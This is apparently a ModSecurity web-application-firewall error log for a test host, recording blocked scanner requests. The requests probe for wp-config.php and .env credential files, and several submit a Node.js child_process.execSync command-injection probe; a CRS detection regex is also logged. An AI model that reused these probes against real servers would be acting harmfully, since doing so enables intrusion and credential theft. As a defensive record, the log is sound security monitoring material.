[Sat Feb 28 12:18:46.261678 2026] [:error] [pid 2385357] [client 57.131.13.95:37493] [client 57.131.13.95] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aaLPFhL_5rL674ODEIp-CwAAAAc"]
[Sat Feb 28 12:19:55.785951 2026] [:error] [pid 2378750] [client 57.131.13.95:60635] [client 57.131.13.95] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aaLPW1DtYup7T8W3YuDEdgAAAAY"]
[Sat Feb 28 12:19:55.786269 2026] [:error] [pid 2378750] [client 57.131.13.95:60635] [client 57.131.13.95] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aaLPW1DtYup7T8W3YuDEdgAAAAY"]
[Sat Feb 28 12:19:55.786460 2026] [:error] [pid 2378750] [client 57.131.13.95:60635] [client 57.131.13.95] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aaLPW1DtYup7T8W3YuDEdgAAAAY"]
[Sat Feb 28 12:19:59.128665 2026] [:error] [pid 2378306] [client 57.131.13.95:32789] [client 57.131.13.95] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aaLPXxtCtP4omYNsoH8ixwAAAAM"]
[Sat Feb 28 12:19:59.128958 2026] [:error] [pid 2378306] [client 57.131.13.95:32789] [client 57.131.13.95] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aaLPXxtCtP4omYNsoH8ixwAAAAM"]
[Sat Feb 28 12:19:59.129103 2026] [:error] [pid 2378306] [client 57.131.13.95:32789] [client 57.131.13.95] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aaLPXxtCtP4omYNsoH8ixwAAAAM"]
[Sat Feb 28 14:48:12.616672 2026] [:error] [pid 2385357] [client 45.148.10.160:47704] [client 45.148.10.160] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:cmd. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:cmd: \\x0a(function(){\\x0a\\x09try {\\x0a\\x09\\x09var cmd = \\x22echo VULN_TEST\\x22;\\x0a\\x09\\x09var result = require('child_process').execSync(cmd, {encoding: 'utf8'});\\x0a\\x09\\x09return btoa(result);\\x0a\\x09} catch(e) {\\x0a\\x09\\x09return btoa(e.toString());\\x0a\\x09}\\x0a})()\\x0a"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-nodejs"] [tag "OWASP_CRS/WEB_ATTACK/NODEJS_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/page.json"] [unique_id "aaLyHBL_5rL674ODEIp-kgAAAAc"]
[Sat Feb 28 14:48:12.617257 2026] [:error] [pid 2385357] [client 45.148.10.160:47704] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/page.json"] [unique_id "aaLyHBL_5rL674ODEIp-kgAAAAc"]
[Sat Feb 28 14:48:12.617445 2026] [:error] [pid 2385357] [client 45.148.10.160:47704] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/page.json"] [unique_id "aaLyHBL_5rL674ODEIp-kgAAAAc"]
[Sat Feb 28 14:48:12.702046 2026] [:error] [pid 2385357] [client 45.148.10.160:47704] [client 45.148.10.160] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:cmd. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:cmd: \\x0a(function(){\\x0a\\x09try {\\x0a\\x09\\x09var cmd = \\x22echo VULN_TEST\\x22;\\x0a\\x09\\x09var result = require('child_process').execSync(cmd, {encoding: 'utf8'});\\x0a\\x09\\x09return btoa(result);\\x0a\\x09} catch(e) {\\x0a\\x09\\x09return btoa(e.toString());\\x0a\\x09}\\x0a})()\\x0a"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-nodejs"] [tag "OWASP_CRS/WEB_ATTACK/NODEJS_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/index.json"] [unique_id "aaLyHBL_5rL674ODEIp-kwAAAAc"]
[Sat Feb 28 14:48:12.702562 2026] [:error] [pid 2385357] [client 45.148.10.160:47704] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/index.json"] [unique_id "aaLyHBL_5rL674ODEIp-kwAAAAc"]
[Sat Feb 28 14:48:12.702735 2026] [:error] [pid 2385357] [client 45.148.10.160:47704] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/index.json"] [unique_id "aaLyHBL_5rL674ODEIp-kwAAAAc"]
[Sat Feb 28 14:48:12.803126 2026] [:error] [pid 2385357] [client 45.148.10.160:47704] [client 45.148.10.160] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:cmd. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:cmd: \\x0a(function(){\\x0a\\x09try {\\x0a\\x09\\x09var cmd = \\x22echo VULN_TEST\\x22;\\x0a\\x09\\x09var result = require('child_process').execSync(cmd, {encoding: 'utf8'});\\x0a\\x09\\x09return btoa(result);\\x0a\\x09} catch(e) {\\x0a\\x09\\x09return btoa(e.toString());\\x0a\\x09}\\x0a})()\\x0a"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-nodejs"] [tag "OWASP_CRS/WEB_ATTACK/NODEJS_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/endpoint"] [unique_id "aaLyHBL_5rL674ODEIp-lAAAAAc"]
[Sat Feb 28 14:48:12.803651 2026] [:error] [pid 2385357] [client 45.148.10.160:47704] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/endpoint"] [unique_id "aaLyHBL_5rL674ODEIp-lAAAAAc"]
[Sat Feb 28 14:48:12.803828 2026] [:error] [pid 2385357] [client 45.148.10.160:47704] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/endpoint"] [unique_id "aaLyHBL_5rL674ODEIp-lAAAAAc"]
[Sat Feb 28 14:48:12.920123 2026] [:error] [pid 2385357] [client 45.148.10.160:47704] [client 45.148.10.160] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:cmd. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:cmd: \\x0a(function(){\\x0a\\x09try {\\x0a\\x09\\x09var cmd = \\x22echo VULN_TEST\\x22;\\x0a\\x09\\x09var result = require('child_process').execSync(cmd, {encoding: 'utf8'});\\x0a\\x09\\x09return btoa(result);\\x0a\\x09} catch(e) {\\x0a\\x09\\x09return btoa(e.toString());\\x0a\\x09}\\x0a})()\\x0a"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-nodejs"] [tag "OWASP_CRS/WEB_ATTACK/NODEJS_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/static/chunks/pages/"] [unique_id "aaLyHBL_5rL674ODEIp-lQAAAAc"]
[Sat Feb 28 14:48:12.920654 2026] [:error] [pid 2385357] [client 45.148.10.160:47704] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/static/chunks/pages/"] [unique_id "aaLyHBL_5rL674ODEIp-lQAAAAc"]
[Sat Feb 28 14:48:12.920832 2026] [:error] [pid 2385357] [client 45.148.10.160:47704] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/static/chunks/pages/"] [unique_id "aaLyHBL_5rL674ODEIp-lQAAAAc"]
[Sat Feb 28 14:48:12.981237 2026] [:error] [pid 2385357] [client 45.148.10.160:47704] [client 45.148.10.160] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:cmd. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:cmd: \\x0a(function(){\\x0a\\x09try {\\x0a\\x09\\x09var cmd = \\x22echo VULN_TEST\\x22;\\x0a\\x09\\x09var result = require('child_process').execSync(cmd, {encoding: 'utf8'});\\x0a\\x09\\x09return btoa(result);\\x0a\\x09} catch(e) {\\x0a\\x09\\x09return btoa(e.toString());\\x0a\\x09}\\x0a})()\\x0a"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-nodejs"] [tag "OWASP_CRS/WEB_ATTACK/NODEJS_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/[[...slug]]"] [unique_id "aaLyHBL_5rL674ODEIp-lgAAAAc"]
[Sat Feb 28 14:48:12.981740 2026] [:error] [pid 2385357] [client 45.148.10.160:47704] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/[[...slug]]"] [unique_id "aaLyHBL_5rL674ODEIp-lgAAAAc"]
[Sat Feb 28 14:48:12.981964 2026] [:error] [pid 2385357] [client 45.148.10.160:47704] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/[[...slug]]"] [unique_id "aaLyHBL_5rL674ODEIp-lgAAAAc"]
[Sat Feb 28 14:48:14.951662 2026] [:error] [pid 2385359] [client 45.148.10.160:47716] [client 45.148.10.160] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:cmd. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:cmd: \\x0a(function(){\\x0a\\x09try {\\x0a\\x09\\x09var cmd = \\x22echo VULN_TEST\\x22;\\x0a\\x09\\x09var result = require('child_process').execSync(cmd, {encoding: 'utf8'});\\x0a\\x09\\x09return btoa(result);\\x0a\\x09} catch(e) {\\x0a\\x09\\x09return btoa(e.toString());\\x0a\\x09}\\x0a})()\\x0a"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-nodejs"] [tag "OWASP_CRS/WEB_ATTACK/NODEJS_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/home.json"] [unique_id "aaLyHpv7nx7Xa6lKYweP_AAAAAw"]
[Sat Feb 28 14:48:14.953143 2026] [:error] [pid 2385359] [client 45.148.10.160:47716] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/home.json"] [unique_id "aaLyHpv7nx7Xa6lKYweP_AAAAAw"]
[Sat Feb 28 14:48:14.953311 2026] [:error] [pid 2385359] [client 45.148.10.160:47716] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/home.json"] [unique_id "aaLyHpv7nx7Xa6lKYweP_AAAAAw"]
[Sat Feb 28 14:48:15.079700 2026] [:error] [pid 2385359] [client 45.148.10.160:47716] [client 45.148.10.160] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:cmd. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:cmd: \\x0a(function(){\\x0a\\x09try {\\x0a\\x09\\x09var cmd = \\x22echo VULN_TEST\\x22;\\x0a\\x09\\x09var result = require('child_process').execSync(cmd, {encoding: 'utf8'});\\x0a\\x09\\x09return btoa(result);\\x0a\\x09} catch(e) {\\x0a\\x09\\x09return btoa(e.toString());\\x0a\\x09}\\x0a})()\\x0a"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-nodejs"] [tag "OWASP_CRS/WEB_ATTACK/NODEJS_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/test"] [unique_id "aaLyH5v7nx7Xa6lKYweP_QAAAAw"]
[Sat Feb 28 14:48:15.080231 2026] [:error] [pid 2385359] [client 45.148.10.160:47716] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/test"] [unique_id "aaLyH5v7nx7Xa6lKYweP_QAAAAw"]
[Sat Feb 28 14:48:15.080415 2026] [:error] [pid 2385359] [client 45.148.10.160:47716] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/test"] [unique_id "aaLyH5v7nx7Xa6lKYweP_QAAAAw"]
[Sat Feb 28 14:48:15.247958 2026] [:error] [pid 2385359] [client 45.148.10.160:47716] [client 45.148.10.160] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:param. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:param: \\x0a(function(){\\x0a\\x09try {\\x0a\\x09\\x09var cmd = \\x22echo \\x5c\\x5c'VULN_TEST\\x5c\\x5c'\\x22;\\x0a\\x09\\x09var result = require('child_process').execSync(cmd, {encoding: 'utf8'});\\x0a\\x09\\x09return btoa(result);\\x0a\\x09} catch(e) {\\x0a\\x09\\x09return btoa(e.toString());\\x0a\\x09}\\x0a})()\\x0a"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce"] [tag "attack-injection-nodejs"] [tag "OWASP_CRS/WEB_ATTACK/NODEJS_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/page.json"] [unique_id "aaLyH5v7nx7Xa6lKYweP_gAAAAw"]
[Sat Feb 28 14:48:15.248452 2026] [:error] [pid 2385359] [client 45.148.10.160:47716] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/page.json"] [unique_id "aaLyH5v7nx7Xa6lKYweP_gAAAAw"]
[Sat Feb 28 14:48:15.248644 2026] [:error] [pid 2385359] [client 45.148.10.160:47716] [client 45.148.10.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_next/data/buildId/page.json"] [unique_id "aaLyH5v7nx7Xa6lKYweP_gAAAAw"]
[Sat Feb 28 14:48:15.576731 2026] [:error] [pid 2385359] [client 45.148.10.160:47716] [client 45.148.10.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aaLyH5v7nx7Xa6lKYweQAAAAAAw"]
[Sat Feb 28 14:48:15.576964 2026] [:error] [pid 2385359] [client 45.148.10.160:47716] [client 45.148.10.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aaLyH5v7nx7Xa6lKYweQAAAAAAw"]
